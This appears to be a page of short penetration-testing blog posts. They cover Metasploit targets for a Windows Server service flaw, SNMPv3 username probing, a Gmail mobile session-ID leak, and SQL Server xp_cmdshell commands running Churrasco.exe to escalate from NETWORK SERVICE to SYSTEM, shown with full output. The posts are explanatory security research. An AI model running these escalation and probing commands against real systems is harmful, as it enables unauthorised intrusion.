www.notsosecure.com

As everyone is talking about this, i thought i will also mention it here briefly. Microsoft released an out of band patch for this vulnerability. More Technical details about it can be read here. Its a remote code execution in server service which surprisingly everyone missed in the previous version of a similar vulnerability(MS06-040).

Currently the svn version of metasploit has following targets:

0 Windows 2000 MS06-040+ (YMMV pre MS06-040)
1 Windows XP SP0 English (NO NX)
2 Windows XP SP1 English (NO NX)
3 Windows XP SP2 English (NX)
4 Windows XP SP2 Italian (NX)
5 Windows XP SP2 Spanish (NX)
6 Windows XP SP2 Chinese (NX)
7 Windows XP SP3 English (NX)
8 Windows XP SP3 German (NX)
9 Windows 2003 SP0 English (NO NX)
10 Windows 2003 SP1 English (NO NX)
11 Windows 2003 SP2 English (NO NX)
12 Windows 2003 SP1 English (NX)
13 Windows 2003 SP2 English (NX)

and hopefully more targets will be added to this list shortly. Bernardo, released a tool to anonymously check for this issue.

Recently I encountered a snmp port which nmap said was open. Nmap version scan said it was cisco snmp service whereas without the version scan it said open/filtered.

snmpwalk with community string public(and thousand more) did not return anything.

the packet dump while running nmap showed that snmp service had actually responded to nmap and showed its version as snmp v3:-

11:24:12.379988 IP (tos 0×0, ttl 249, id 48140, offset 0, flags [none], proto UDP (17), length 131) x.x.x.x.161 > Y.Y.Y.Y.32776: [udp sum ok] { SNMPv3 { F= } { USM B=2 T=12430628 U= } { ScopedPDU E= 0×800x000×000x090×030x000×000x190×550x390xCF0×4E C= { Report(29) R=14320 .1.3.6.1.6.3.15.1.1.4.0=20 } } }

interestingly, unlike snmp v2, snmp v3 responds even if the username is wrong allowing you to identify if the port is open or not:

snmpwalk -v 3 -u public X.X.X.X snmpwalk: Unknown user name
(snmp v2 will not respond unless community string is right)

References: Nmap Snmp Fingerprinting

Sid

In case you haven’t seen this exploit on milw0rm (http://milw0rm.com/exploits/6705), its worth having a look. It will be very handy particularly in following 2 instances:

1. SQL injection in SQL Server 2005, with backend server running as ‘SA’.
2. File Upload functionality allowing you to run code.

Its worth noting that SQL server 2005 run as ‘network service’ and thus with ’sa’ account and with xp_cmdshell enabled, access can only be gained as a restricted user(network service’). The following might help in understanding this better:-

1> exec master..xp_cmdshell ‘whoami’
2> go
output
—— ——————————–
nt authority\network service

———————————————————————————————————————-
1> exec master..xp_cmdshell ‘C:\test\Churrasco.exe whoami’
2> go
— — ——————————–
/churrasco/–>Current User: NETWORK SERVICE
/churrasco/–>Getting Rpcss PID …
/churrasco/–>Found Rpcss PID: 732
/churrasco/–>Searching for Rpcss threads …
/churrasco/–>Found Thread: 736
/churrasco/–>Thread not impersonating, looking for another thread…
/churrasco/–>Found Thread: 740
/churrasco/–>Thread not impersonating, looking for another thread…
/churrasco/–>Found Thread: 748
/churrasco/–>Thread impersonating, got NETWORK SERVICE Token: 0×72c
/churrasco/–>Getting SYSTEM token from Rpcss Service…
/churrasco/–>Found SYSTEM token 0×724
/churrasco/–>Running command with SYSTEM Token…
/churrasco/–>Done, command should have ran as SYSTEM!
nt authority\system
NULL
(16 rows affected)

If you are concerned about the security of your emails, accessing Gmail from a mobile device may not be a great idea.

1. A few weeks ago, google introduced a new feature in GMAIL, through which you can force the gmail session to not use HTTP at all, and only talk over HTTPS. This unfortunately does not apply to google mobile(http://mobile.google.com/) and even though you set your preferences to only use HTTPS, gmail accessed via mobile devices still make requests over HTTP. The HTTP request takes place in the background. The clear text response contains all the session cookies and also a URL over HTTPS.

2. Further to make matter worse, this URL returned over port 80, contains session-id in URL and is sufficient to access email(attacker does not need your session cookie). Thus, if your mobile device is going through a proxy server, and an attacker manages to access the logs of this proxy server, he will have access to this URL containing session id, and thus its slightly more concerning. Of course, once you log out, this URL will be no longer valid and hence the attack has a time limitation.

Update: Google has fixed the second issue and don’t appear to be too keen to fix the first one.